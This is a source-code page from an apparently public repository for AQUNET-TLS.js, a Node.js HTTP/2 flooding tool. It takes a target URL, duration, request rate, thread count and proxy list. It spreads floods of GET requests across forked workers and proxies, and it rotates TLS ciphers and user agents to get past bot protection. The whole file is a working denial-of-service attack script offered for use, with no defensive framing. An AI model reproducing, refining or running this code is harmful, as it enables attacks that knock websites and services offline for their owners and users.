-
Notifications
You must be signed in to change notification settings - Fork 1
/
AQUNET-TLS.js
206 lines (175 loc) · 6.77 KB
/
AQUNET-TLS.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
const net = require("net");
const http2 = require("http2");
const tls = require("tls");
const cluster = require("cluster");
const url = require("url");
const crypto = require("crypto");
const UserAgent = require('user-agents');
const fs = require("fs");
process.setMaxListeners(0);
require("events").EventEmitter.defaultMaxListeners = 0;
process.on('uncaughtException', function (exception) {
});
if (process.argv.length < 7){
console.log(`
Usage: node AQUNET-TLS.js [TARGET] [TIME] [REQUEST] [THREAD] [PROXY FILE]`);
process.exit();}
const headers = {};
function readLines(filePath) {
return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
}
function randomIntn(min, max) {
return Math.floor(Math.random() * (max - min) + min);
}
function randomElement(elements) {
return elements[randomIntn(0, elements.length)];
}
const args = {
target: process.argv[2],
time: ~~process.argv[3],
Rate: ~~process.argv[4],
threads: ~~process.argv[5],
proxyFile: process.argv[6]
}
const cplist = [ // Captcha Solve by Ibaaall 10-04-2023
"RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!AESGCM:!CAMELLIA:!3DES:!EDH"
];
var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))];
var proxies = readLines(args.proxyFile);
const parsedTarget = url.parse(args.target);
if (cluster.isMaster) {
for (let counter = 1; counter <= args.threads; counter++) {
cluster.fork();
}
} else {setInterval(runFlooder) }
class NetSocket {
constructor(){}
HTTP(options, callback) {
const parsedAddr = options.address.split(":"); // Socket Connection Fixed by Ibaaall 27-03-2023
const addrHost = parsedAddr[0];
const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n";
const buffer = new Buffer.from(payload);
const connection = net.connect({
host: options.host,
port: options.port
});
connection.setTimeout(options.timeout * 10000);
connection.setKeepAlive(true, 100000);
connection.on("connect", () => {
connection.write(buffer);
});
connection.on("data", chunk => { //HTTP Version Fixed by Ibaaall 08-04-2023
const response = chunk.toString("utf-8");
const isAlive = response.includes("HTTP/1.1 200");
if (isAlive === false) {
connection.destroy();
return callback(undefined, "error: invalid response from proxy server");
}
return callback(connection, undefined);
});
connection.on("timeout", () => {
connection.destroy();
return callback(undefined, "error: timeout exceeded");
});
connection.on("error", error => {
connection.destroy();
return callback(undefined, "error: " + error);
});
}
}
const Socker = new NetSocket(); // Socket GET Fixed
headers[":method"] = "GET";
headers[":path"] = parsedTarget.path;
headers[":scheme"] = "https";
headers["accept"] = "/";
headers["accept-language"] = "en-US,en;q=0.9";
headers["accept-encoding"] = "gzip, deflate";
headers["cache-control"] = "no-cache";
headers["upgrade-insecure-requests"] = "1";
function runFlooder() {
const proxyAddr = randomElement(proxies);
const parsedProxy = proxyAddr.split(":");
const userAgentv2 = new UserAgent();
var useragent = userAgentv2.toString();
headers[":authority"] = parsedTarget.host
headers["user-agent"] = useragent;
const proxyOptions = {
host: parsedProxy[0],
port: ~~parsedProxy[1],
address: parsedTarget.host + ":443",
timeout: 3
};
Socker.HTTP(proxyOptions, (connection, error) => {
if (error) return
connection.setKeepAlive(true, 100000);
const tlsOptions = {
ALPNProtocols: ['h2', 'http/1.1', 'h3', 'http/2+quic/43', 'http/2+quic/44', 'http/2+quic/45'], // Protocol List ketika ATTACK
challengesToSolve: Infinity,
followAllRedirects: true,
clientTimeout: Infinity,
clientlareMaxTimeout: Infinity,
maxRedirects: Infinity,
ciphers: cipper,
servername: url.hostname,
socket: connection,
honorCipherOrder: true,
echdCurve: "GREASE:X25519:x25519",
secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_NO_TICKET | crypto.constants.SSL_OP_NO_SSLv2 | crypto.constants.SSL_OP_NO_SSLv3 | crypto.constants.SSL_OP_NO_COMPRESSION | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION | crypto.constants.SSL_OP_TLSEXT_PADDING | crypto.constants.SSL_OP_ALL | crypto.constants.SSLcom,
secure: true,
rejectUnauthorized: false,
port: 80,
uri: parsedTarget.host,
servername: parsedTarget.host,
};
const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions);
tlsConn.setKeepAlive(true, 10 * 10000);
const client = http2.connect(parsedTarget.href, {
protocol: "https:",
settings: {
headerTableSize: 65536,
maxConcurrentStreams: 1000,
initialWindowSize: 6291456,
maxHeaderListSize: 262144,
enablePush: false
},
maxSessionMemory: 3333,
maxDeflateDynamicTableSize: 4294967295,
createConnection: () => tlsConn,
socket: connection,
});
client.settings({
headerTableSize: 65536,
maxConcurrentStreams: 1000,
initialWindowSize: 6291456,
maxHeaderListSize: 262144,
enablePush: false
});
client.on("connect", () => {
const IntervalAttack = setInterval(() => {
for (let i = 0; i < args.Rate; i++) {
const request = client.request(headers)
.on("response", response => {
request.close();
request.destroy();
return
});
request.end();
}
}, 1000);
});
client.on("close", () => {
client.destroy();
connection.destroy();
return
});
client.on("error", error => {
client.destroy();
connection.destroy();
return
});
});
}
const KillScript = () => process.exit(1); // Auto Stop ketika Durasi habis
setTimeout(KillScript, args.time * 1000);